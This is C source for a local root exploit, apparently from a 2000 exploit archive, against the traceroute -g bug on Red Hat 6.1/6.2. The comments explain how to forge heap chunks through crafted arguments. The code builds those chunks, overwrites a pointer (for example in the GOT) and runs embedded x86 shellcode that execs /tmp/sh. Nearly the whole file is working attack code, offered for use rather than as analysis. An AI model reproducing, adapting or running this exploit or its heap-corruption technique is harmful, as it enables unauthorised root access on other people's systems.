Red Hat 6.1/6.2 traceroute local root exploit which exploits the traceroute -g bug, as described in the Red Hat Advisory on Traceroute.
2f2c05c49da7f513c3947676832869a817e0236622068d98971c3738b9639160
/*
argv0: at first it looks that this doesn't matter but since
this is the value found at the top of the stack and thus
it's length matter for the location of the shellcode.
argv0: bs
argv1: nothing is needed for this it should just contain
6 bytes and a 0 (and off course it should be acceptable
to inet_addr)
argv1: only specific length
addr1 will become: 4 bytes from addr2 + zeros
length so that p->size = last byte + 3 zeros
p->prev_size = first 3 bytes + 00
thus: 6 bytes + 0
p data:
size = 0x20 or so;
prev_size = ((char *)p) - ((char *) eleet stack pointer)
p = addr2 - 7 - 8
so next data should be on addr2 + 0x20 - 7 - 8
argv2: this requires much more thought, the ip_address should be
so that p->prev_size and p->size make sense.
p->prev_size should be so that prev can be found on the
stack since that's an easy place to put it, p->size should
be 0x20 or so so that we can put the next chunk in this
argument too.
argv2: ip addres so that: p->size makes sure next is
somewhere in argv2
p->prev_size should point to eleet data on stack (through
environment)
spacing: next data:
prev_size = 0x41414141;
size = 0xfffffff0
fd = some_random_pointer (or you could use him)
bk = some_random_pointer
after that: data for next (prev_size + size + fd + bk)
prev_size probably negative
argv3: contains the chunk used for prev and the shellcode
including the jmp.
argv3: eleet data on stack + eleet shellcode baby
eleet data:
prev_size = BS;
size = BS
fd = &ret_addr_change - 12
bk = shellcode;
shellcode = jmp forward + nops + code
How to get the correct value for p?
$ cp /usr/sbin/traceroute ./tra
$ ltrace ./tra -g1
gtx.
Dvorak (dvorak@synnergy.net)
*/
#include <stdio.h>
/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
*/
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";
/*
code to jump forward
*/
char jmp_forward[] = "\xeb\x0c";
/*
again the stupid make_addr function ;)
*/
void make_addr(char *res, unsigned int val)
{
int i;
char *p = (char *) &val;
for (i = 0; i < 4; i++)
res[i] = (char) *p++;
res[i] = '\0';
}
/*
which argument number contains the leet_addr and the shellcode?
*/
#define LEETARG 7
int main(int argc, char *argv[])
{
char addr1[1000];
char addr2[1000];
char padding[256];
char execute_me[1000];
int execute_shift = 0;
/* next data: prev_size = crap, size=crap and fd and bk
point to someplace innocent in the stack, if you want
to you can use it to change a second memory place.
*/
char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
"\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
char *leet_data;
/*
The arguments to start traceroute with, -g separated from its
argument because of getopt.
*/
char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
addr2, "127.0.0.1", "12", execute_me, NULL};
unsigned int leet_amount;
/*
This needs some explanation: since the prev chunk will be at
a certain distance from p we need to know p since it changes
from binary to binary we'll let the attacker figure it out
and give it to us ;).
*/
unsigned int p = strtoul(argv[2], 0, 0);
char shell_addr[5];
char ret_addr[5];
/* the first addr 6 bytes long */
snprintf(addr1, sizeof(addr1), "1.2.11");
/*
First we fill execute_me (which will make the LEETARG) with
0x41 thats both a NOP and easy to find on the stack.
*/
memset(execute_me, 0x41, sizeof(execute_me));
/*
We put the shellcode and the jmp at the end of execute_me
*/
strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
jmp_forward, strlen(jmp_forward));
strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
shellcode);
/*
Calculate the address of the shell_code
the stack at startup looks like:
arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
since the environment is gone and LEETARG is the last argument
we only need the length of the shellcode and the length of arg0
*/
make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
(strlen(shellcode) +1 + 20));
/*
We also ask the attacker to give the address of the pointer to
change to point to the shellcode. Something in the GOT is
usually very nice
*/
make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);
/*
leet_data should be in 0xbfff fe00 + (p & 0xff)
now we calculate the address where chunk_free() will look for
prev chunk.
We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
the precise position is defined by the lsb of p.
*/
printf("p: 0x%08x\n", p);
leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
printf("leet_data: 0x%08x\n", leet_data);
/*
calculate the value of p->prev_size
*/
leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
printf("leet_amount: 0x%08x\n", leet_amount);
/* the end of execute_me will be on 0xc0000000 - 8
length of execute_me should thus be:
0xc0000000 - leet_data - 8
2 possibilities: either don't put the fake prev chunk at the
beginning of execute_me or change the length of execute_me
we choose the latter.
*/
execute_shift = sizeof(execute_me) -
(0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
printf("execute_shift: %d\n", execute_shift);
arg[LEETARG] += execute_shift;
/*
use strcpy not snprintf since snprintf does 0 terminated its
strings
*/
strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
strncpy(arg[LEETARG]+8, ret_addr, 4);
strncpy(arg[LEETARG]+12, shell_addr, 4);
printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
strlen(arg[0]));
printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
strlen(arg[0]) - strlen(arg[LEETARG]) - 2);
/*
pad the second -g option to place next chunk on the expected
position
*/
memset(padding, ' ', sizeof(padding));
/*
0x20 - p->size
- 7 because thats the size of addr1
- 8 for p->size and p->prev_size
- 12 for addr2 (xx.xx.xx.xx )
*/
padding[0x20 - 7 - 8 - 12] = '\0';
printf("padding: %d bytes\n", strlen(padding));
/*
put hex equivalent of leet amount in ip_address
*/
snprintf(addr2, sizeof(addr2),
"0x%02x.0x%02x.0x%02x.0x%02x%s%s",
((unsigned char *) &leet_amount)[1],
((unsigned char *) &leet_amount)[2],
((unsigned char *) &leet_amount)[3],
0x20,
padding, next_data);
/*
This time it should work ;)
*/
printf("Going for root!!!\n");
execve(arg[0], arg, NULL);
}
/* www.hack.co.za [17 October 2000]*/